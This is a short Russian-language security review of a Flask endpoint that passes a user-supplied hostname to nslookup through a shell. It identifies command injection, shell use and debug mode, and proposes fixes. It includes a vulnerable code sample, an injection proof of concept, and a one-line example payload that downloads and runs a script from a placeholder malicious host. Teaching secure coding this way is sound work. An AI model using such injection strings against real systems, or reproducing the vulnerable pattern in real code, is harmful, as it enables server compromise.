В данном на коде:

from flask import Flask, request

import subprocess

app = Flask(name)

@app.route("/dns")

def dns\_lookup():

hostname = request.values.get('hostname')

cmd = 'nslookup ' + hostname

output = subprocess.check\_output(cmd, shell=True, text=True)

return output

if name == "main":

app.run(debug=True)

В ходе анализа были выявлены 4 основных уязвимости:  
1. Command Injection (cmd = 'nslookup ' + hostname) строка 10  
2. Использование Shell (output = subprocess.check\_output(cmd, shell=True, text=True) строка 11  
3. Запуск в режиме отладки (debug=True) строка 15  
4. Неправильная обработка ошибок  
  
Возможные последствия эксплуатации уязвимостей:

Command Injection:

* Если мы возьмем, например, ввод «; echo “123” » – результатом будет «ns lookup ; 123», что будет доказательством нашей концепции. Данная уязвимость приведет к исполнению команды на сервере, что даёт злоумышленнику использовать аналогичные техники для выполнения намного более злонамеренных команд, загружая ВПО, манипулируя данными и т.д.

Использование Shell:

* Злоумышленник, может, например, ввести вредоносную команду «; wget http://malicious.com/malware.sh; bash malware.sh», тем самым загрузив ВПО на станцию пользователя, что приведёт к полной компрометации системы. Уязвимости связаны с предыдущей.

Решение двух вышеуказанных уязвимостей – исправление двух строк на:   
cmd = ['nslookup', hostname]

output = subprocess.run(['nslookup', hostname], capture\_output=True, text=True).stdout

Запуск в режиме отладки:

* Подобные ошибки могут дать злоумышленнику понять логику запроса значительно упростив задачу и раскрыть информацию об устройстве всей инфраструктуры

Решение: app.run(debug=False) или более динамический подход, который позволяет включать режим отладки только во время разработки -

import os

debug\_mode = os.getenv('FLASK\_DEBUG') == '1'

app.run(debug=debug\_mode)